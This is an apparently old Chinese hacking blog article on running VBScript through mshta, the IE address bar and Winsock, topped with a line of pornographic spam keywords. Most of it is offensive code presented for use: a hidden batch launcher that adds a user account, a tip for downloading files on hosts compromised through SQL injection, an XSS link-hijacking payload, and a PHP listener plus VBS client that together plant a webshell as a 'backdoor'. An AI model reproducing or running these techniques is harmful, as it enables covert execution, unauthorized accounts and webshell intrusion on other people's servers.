欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

非常棒的lcx寫的非常規(guī)運(yùn)行vbs

 更新時(shí)間:2008年02月22日 15:43:56   作者:  
 這期專欄依舊是vbs,估計(jì)大家會(huì)有點(diǎn)煩,那我們來點(diǎn)有意思的吧。vbs有一個(gè)對像是“SAPI.SpVoice”,可以用它來講英語的
這個(gè)組件在xp、2003上默認(rèn)都可以用的,調(diào)用后可以聽到電腦上一個(gè)國外老男人在說話。好比這樣一句代碼:●CreateObject("SAPI.SpVoice").Speak "I LOVE YOU"●,保存成vbs后綴后雙擊就會(huì)聽到英語的我愛你了。但隨之而來我們講到另一個(gè)問題,不保存成vbs或vbe后綴如何運(yùn)行vbs代碼。

一、用mshta來運(yùn)行vbs
hta這種類型的文件運(yùn)行后也是系統(tǒng)權(quán)限,其調(diào)用宿主就是mshta.exe。我們在cmd下運(yùn)行這樣一行代碼:●mshta vbscript:createobject("sapi.spvoice").speak("I LOVE YOU.")(window.close)●,也會(huì)聽到同樣的發(fā)音。這行代碼的意思類似是臨時(shí)生成一個(gè)hta文件,然后運(yùn)行里邊的vbs代碼,再調(diào)用window.close將運(yùn)行窗口關(guān)掉。整個(gè)運(yùn)行過程是看不到hta窗口的。這種運(yùn)行方式你會(huì)想到什么?最少我是想到了兩個(gè)。一個(gè)是批處理的隱藏運(yùn)行,基本代碼如下:

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
rem 下邊開始寫批處代碼了
net user lcx 12345 /add

這個(gè)代碼只能雙擊運(yùn)行,運(yùn)行過程中你看不到具體的批處理運(yùn)行流程的。第二個(gè)我想的是注射過程中的用途。網(wǎng)上有篇流傳很廣的文章《mssql注射中多次調(diào)用參數(shù)導(dǎo)致多次echo的解決方法》,中心思想是將vbs語句用冒號(hào)連接起來然后用echo命令一次寫入到被注入的肉雞上,然后再調(diào)用這個(gè)vbs來下載文件。如果調(diào)用mshta執(zhí)行的話,下載、執(zhí)行一次就ok了。不過在命令行下用mshta后邊直接跟vbs代碼有個(gè)難處理的問題是空格,不過這個(gè)好解決用execute將vbs代碼放在括號(hào)里就ok了,這個(gè)讀者可以親自去試一下了,相信我不難的。

二、用ie地址欄運(yùn)行vbs
很多人會(huì)用ie地址欄運(yùn)行js,其實(shí)vbs一樣是可以的,我們隨便打開一個(gè)網(wǎng)站,在地址欄上輸入:vbscript:msgbox(Document.links.length)后回車,就會(huì)看到當(dāng)前頁面有多少個(gè)連接了。用document.links(i).href這句的話,將i換成不同的自然數(shù)好比0、1、2、3等就會(huì)分別顯示出不同的鏈接地址。這部份內(nèi)容其實(shí)是涉及到dhtml的內(nèi)容了。我們來看一個(gè)最簡單的示例代碼:

<a href=http://www.sohu.com>www.sohu.com</a>
<a href=http://www.baidu.com>www.baidu.com</a>

這是兩個(gè)鏈接,保存成網(wǎng)頁后點(diǎn)擊就會(huì)跳轉(zhuǎn)到不同的頁面。如果這個(gè)頁面有跨站,我想搞下破壞,讓用戶點(diǎn)擊www.sohu.com卻跑到我指定的頁面上能做到嗎?其實(shí)可以的,只要加一行語句就可以了,代碼是:●<body onload='vbscript:document.links(0).>●。這樣的話用戶再點(diǎn)擊sohu其實(shí)會(huì)跑到google上去了,原來頁面的版式卻絲毫沒有破壞。同樣的dhtml元素還有document.links(i).href、document.images(i).src、document.forms(i).action等等,跨站改變其動(dòng)態(tài)元素是很好玩的。

三、調(diào)用外部組件來運(yùn)行vbs
vbs本身功能畢竟有限,但是卻可以很好的與外部交互。要是用vbs來模擬nc發(fā)包的話,就要調(diào)用vb組件了。關(guān)于VBS如何成功調(diào)用MSWinsock.Winsock,zzzevazzz說的很清楚了。就是下載Winsock.ocs注冊,和VB6控件的授權(quán)密鑰的.reg導(dǎo)入注冊表。兩個(gè)文件可以在http://zzzevazzz.bokee.com/inc/vb6controls.rar這里下載。前不久學(xué)了一段時(shí)間php,網(wǎng)上看到一個(gè)php的監(jiān)聽程序,可以用它來做一個(gè)后門,s端s.php代碼如下:

<? 
// 設(shè)置一些基本的變量 
$host = "192.168.8.100"; 
$port = 12345; 
// 設(shè)置超時(shí)時(shí)間 
set_time_limit(0); 
// 創(chuàng)建一個(gè)Socket 
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create 
socket\n"); 
//綁定Socket到端口 
$result = socket_bind($socket, $host, $port) or die("Could not bind to 
socket\n"); 
// 開始監(jiān)聽鏈接 
$result = socket_listen($socket, 3) or die("Could not set up socket 
listener\n"); 
// accept incoming connections 
// 另一個(gè)Socket來處理通信 
$spawn = socket_accept($socket) or die("Could not accept incoming 
connection\n"); 
// 獲得客戶端的輸入 
$input = socket_read($spawn, 1024) or die("Could not read input\n"); 
// 清空輸入字符串 
$input = trim($input);//將輸入結(jié)果寫入ok.php,這句是我加的
fputs(fopen('ok.php','a+'),"$input");

//處理客戶端輸入并返回結(jié)果
$output = strrev($input) . "\n"; 
socket_write($spawn, $output, strlen ($output)) or die("Could not write 
output\n"); 
// 關(guān)閉sockets 
socket_close($spawn); 
socket_close($socket); 
?>

在ie打開這個(gè)php,運(yùn)行它的服務(wù)器會(huì)監(jiān)聽12345端口。如果我們再用vbs向12345端口發(fā)包的話,在同文件的php目錄下會(huì)生成ok.php。發(fā)包的內(nèi)容就是我們要寫入ok.php的代碼。該vbs文件c.vbs代碼如下:

Set ie=WScript.CreateObject("InternetExplorer.Application")
ie.visible=false
ie.Navigate "http://192.168.8.100/s.php" 's.php是服務(wù)端
While ie.Busy
      WScript.Sleep 100
     Wend

Do
Wscript.Sleep 200
Loop Until ie.ReadyState=4

Set socket=WScript.CreateObject("MSWinsock.Winsock")
socket.Protocol=0
socket.RemotePort="12345" '端口
socket.RemoteHost="192.168.8.100" '主機(jī)
socket.connect socket.RemoteHost, socket.RemotePort '連接
WScript.sleep 10
ddd="<?phpinfo();>"&Chr(13) '這里你可以改成一句話的php木馬
socket.SendData ddd 
WScript.sleep 100
wscript.echo "ok"
'socket.senddata Chr(13)
socket.close

Set ie=nothing

一個(gè)vbs和一個(gè)php珠聯(lián)璧合,打造了一個(gè)非常規(guī)后門。當(dāng)然這個(gè)后門的價(jià)值不大,但重要的是思路,不是嗎?

相關(guān)文章

最新評論